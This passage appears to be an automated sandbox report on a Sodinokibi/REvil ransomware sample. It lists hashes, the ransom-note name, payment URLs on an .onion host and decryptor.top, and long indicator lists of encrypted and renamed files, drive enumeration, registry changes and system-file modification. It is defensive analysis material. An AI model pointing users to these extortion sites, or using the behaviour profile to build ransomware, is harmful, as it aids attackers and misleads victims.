Analysis
-
max time kernel
1782s -
max time network
1785s -
platform
windows10_x64 -
resource
win10-en -
submitted
14-09-2021 08:50
Static task
static1
Behavioral task
behavioral1
Sample
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe
Resource
win10-en
General
-
Target
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe
-
Size
165KB
-
MD5
36699663f98931bdf573bc2fca7d867d
-
SHA1
0ea0ed6ce072b335d8c8714bc319daa8d824be72
-
SHA256
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a
-
SHA512
3c09ddbdbb8bdabb0d24843153e0ce8982252fff73592257406b95f24871be9f7e56081bf7baf8d305f25e739bb1bb885253b8a1732178bc3fd480c887f147d8
Malware Config
Extracted
C:\3258mn_Wannadie.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A4C87711D83E2D0D
http://decryptor.top/A4C87711D83E2D0D
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
suricata: ET MALWARE Known Sinkhole Response Header
suricata: ET MALWARE Known Sinkhole Response Header
-
Modifies extensions of user files 11 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\ResumeDeny.tiff 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\LimitOptimize.png => \??\c:\users\admin\pictures\LimitOptimize.png.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\RestartClear.tif => \??\c:\users\admin\pictures\RestartClear.tif.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\SuspendDisconnect.tif => \??\c:\users\admin\pictures\SuspendDisconnect.tif.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\SplitUnregister.png => \??\c:\users\admin\pictures\SplitUnregister.png.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\WaitSplit.tiff => \??\c:\users\admin\pictures\WaitSplit.tiff.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\TestTrace.crw => \??\c:\users\admin\pictures\TestTrace.crw.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\users\admin\pictures\WaitSplit.tiff 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\RequestResume.png => \??\c:\users\admin\pictures\RequestResume.png.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\ResumeApprove.png => \??\c:\users\admin\pictures\ResumeApprove.png.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File renamed C:\Users\Admin\Pictures\ResumeDeny.tiff => \??\c:\users\admin\pictures\ResumeDeny.tiff.3258mn 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
chrome.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run chrome.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exedescription ioc process File opened (read-only) \??\P: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\J: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\L: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\R: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\T: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\U: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\V: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\W: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\Y: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\G: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\I: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\Z: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\D: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\O: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\E: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\N: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\F: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\H: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\K: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\M: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\Q: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\S: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\A: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\B: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened (read-only) \??\X: 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\52rt23p.bmp" 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe -
Drops file in Program Files directory 38 IoCs
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exedescription ioc process File opened for modification \??\c:\program files\ReadFind.midi 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\ImportSync.reg 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\DisableEnable.ADTS 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\FindUninstall.ini 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\GrantOptimize.odt 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\InvokeSet.mp4 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\MoveUnlock.crw 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\SkipEnable.asf 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\StopReceive.AAC 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File created \??\c:\program files (x86)\3258mn_Wannadie.txt 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\TraceImport.m4a 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\ConvertFromCompress.m4v 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\ResetCheckpoint.csv 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\StartDebug.ttf 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\UseLock.clr 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\AddEdit.avi 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\MeasureShow.DVR-MS 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\ExitSkip.docx 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\GetDisconnect.cfg 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\PingSwitch.midi 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\SaveStart.mpv2 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\SearchResize.mp2 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\WatchFind.mid 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\DenyStart.M2V 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\GroupConnect.cfg 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\SplitRevoke.emf 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\ConvertToUnprotect.vsdx 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\CheckpointOpen.pub 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\DebugCopy.asf 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\DisableBackup.dotm 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\MergeRevoke.js 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\PingMerge.vsdm 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\SkipUnlock.rar 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File created \??\c:\program files\3258mn_Wannadie.txt 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\DisconnectRestore.pot 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\NewOut.docm 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\RedoRemove.TTS 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification \??\c:\program files\CompareBackup.php 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe -
Drops file in Windows directory 64 IoCs
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exedescription ioc process File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.15063.0_sk-sk_7827ea7767da95a8_bootmgr.efi.mui_be5d0075 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-security-spp.resources_31bf3856ad364e35_10.0.15063.0_en-us_b8307a9da40a16b2.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft.windows.winhttp.resources_31bf3856ad364e35_6.0.15063.0_fr-fr_108280db76c2ea5c_winhttp.dll.mui_f661192f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_10.0.15063.0_bg-bg_e617457ad1e00a3e_bootmgr.exe.mui_c434701f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_5.82.15063.0_pl-pl_a0a21ad7f7405b94_comctl32.dll.mui_0da4e682 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.15063.0_en-gb_66be140125df80c7.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-w..eservices.resources_31bf3856ad364e35_10.0.15063.0_en-us_ea6b6d97f2f4c7b4_wiarpc.dll.mui_0c913b87 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-m..lecore-ras-base-vpn_31bf3856ad364e35_10.0.15063.0_none_ac03f6041976ffc4.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-msvcp110_31bf3856ad364e35_10.0.15063.0_none_091ece90de4588c6.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-s..subsystem.resources_31bf3856ad364e35_10.0.15063.0_ja-jp_3dfe9dfd48e10842_scdeviceenum.dll.mui_815e7662 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-s..urationengineclient_31bf3856ad364e35_10.0.15063.0_none_537665e7464aea75.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-keyiso.resources_31bf3856ad364e35_10.0.15063.0_de-de_72ae0481be0160c2_keyiso.dll.mui_4bbf12ff 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-pcw_31bf3856ad364e35_10.0.15063.0_none_c1256f978f4f2084.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_10.0.15063.0_de-de_3cea917b11996ccf_ncprov.dll.mui_40240de1 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-rasautodial_31bf3856ad364e35_10.0.15063.0_none_2b428241d2829ac6_rasautou.exe_477abe34 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_10.0.15063.0_zh-tw_5f99d587c3c467b0.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-csrss_31bf3856ad364e35_10.0.15063.0_none_69f7bd111ce467b4_csrss.exe_06529458 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_10.0.15063.0_en-us_e5db677400777894_mofd.dll.mui_793ef98d 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-wmpdui.resources_31bf3856ad364e35_10.0.15063.0_fr-fr_2d3314094995484e_wmpdui.dll.mui_92411657 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.15063.0_ja-jp_01222322b5819118.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-coresystemminpnp_31bf3856ad364e35_10.0.15063.0_none_25c594c5597fd699.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-g..licy-base.resources_31bf3856ad364e35_10.0.15063.0_fr-fr_7f1ff209d10eb31c_gpapi.dll.mui_ef0a9748 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft.windows.winhttp_31bf3856ad364e35_5.1.15063.0_none_7c75c42fae043d1e_winhttp.dll_6cd72d6e 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-etw-ese_31bf3856ad364e35_10.0.15063.0_none_e06eabd7bf2af294.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.15063.0_en-us_c7fd3099c3dacfbd.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-i..onal-keyboard-kbdus_31bf3856ad364e35_10.0.15063.0_none_8fc5f5694d615068_kbdus.dll_c99f1a3f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-msvcp110_31bf3856ad364e35_10.0.15063.0_none_feca243ea9e4c6cb_msvcp110_win.dll_397cf9b6 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-winsock-core.resources_31bf3856ad364e35_10.0.15063.0_en-us_5cfc9994b735544f_afd.sys.mui_ff192075 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.15063.0_ar-sa_91f9f4c8478981a6_comctl32.dll.mui_0da4e682 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_10.0.15063.0_nl-nl_b5231f226839ad35.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_5.82.15063.0_en-us_a159cef78915f1d9_comctl32.dll.mui_0da4e682 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.15063.0_fr-fr_10c9a20214013c93.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_10.0.15063.0_none_9894c210d52e9480_boot.stl_085cbba3 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-i..i_initiator_service_31bf3856ad364e35_10.0.15063.0_none_eb8784774de6a9ad_iscsied.dll_e933fb0e 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-s..-webauthn.resources_31bf3856ad364e35_10.0.15063.0_en-us_324d9d52150f7e18_webauthn.dll.mui_acc69b8d 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-d..ndowmanager-effects_31bf3856ad364e35_10.0.15063.0_none_0c6c3963abedbb7f.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-ncrypt-dll_31bf3856ad364e35_10.0.15063.0_none_7946d91d5ecb8a06_ncrypt.dll_0f36c580 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_10.0.15063.0_fi-fi_9afd8f54d47294fd_msimsg.dll.mui_72e8994f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft-windows-shlwapi_31bf3856ad364e35_10.0.15063.0_none_aeceefba2520337c_shlwapi.dll_1eec0a2e 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-apisetschema-windows_31bf3856ad364e35_10.0.15063.0_none_3b4068c19378e16b_apisetschema.dll_d4a833e3 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-d..istration.resources_31bf3856ad364e35_10.0.15063.0_en-us_faa30aac00784952_deviceregistration.dll.mui_5b79527a 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-font-bitmap-oem_31bf3856ad364e35_10.0.15063.0_none_0e77f624e73557a1_vga857.fon_0c23d887 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-font-bitmap-terminal_31bf3856ad364e35_10.0.15063.0_none_2583321dfa2b45c4_cga40869.fon_2c83a12b 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_10.0.15063.0_hr-hr_40f4f6ac6faa981f_msimsg.dll.mui_72e8994f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-appidcore.resources_31bf3856ad364e35_10.0.15063.0_fr-fr_174418e7a8ce4d04.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_10.0.15063.0_ro-ro_9eee956fea195b3b_msimsg.dll.mui_72e8994f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-rasauto-mui.resources_31bf3856ad364e35_10.0.15063.0_de-de_2f549ff69030259d_rasauto.dll.mui_12fa2c50 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_5.82.15063.0_et-ee_5337c09478c69707.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-d..vices-sam.resources_31bf3856ad364e35_10.0.15063.0_ja-jp_5eb90a3169ecf1b0_samsrv.dll.mui_32250491 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-security-netlogon_31bf3856ad364e35_10.0.15063.0_none_19203acea52963ba.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-ui-xaml-phone_31bf3856ad364e35_10.0.15063.0_none_ec0ee8641d359fdf.manifest 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_10.0.15063.0_en-us_f03011c634d83a8f_mofd.dll.mui_793ef98d 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.15063.0_sl-si_55950d3867c13540_comctl32.dll.mui_0da4e682 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-bcrypt-primitives-dll_31bf3856ad364e35_10.0.15063.0_none_2345529e4fd90644_bcryptprimitives.dll_5dcb347c 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_windows-defender-nis-service_31bf3856ad364e35_10.0.15063.0_none_2f06793a4bbe30eb_nislog.dll_fd2ddf40 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\wow64_microsoft-windows-s..-webauthn.resources_31bf3856ad364e35_10.0.15063.0_ja-jp_6b728fdb06b63f73_webauthn.dll.mui_acc69b8d 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification C:\Windows\WinSxS\Backup\amd64_microsoft-windows-com-base.resources_31bf3856ad364e35_10.0.15063.0_ja-jp_f863dd8f33bd56fe_wintypes.dll.mui_36d5f25a 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe File opened for modification 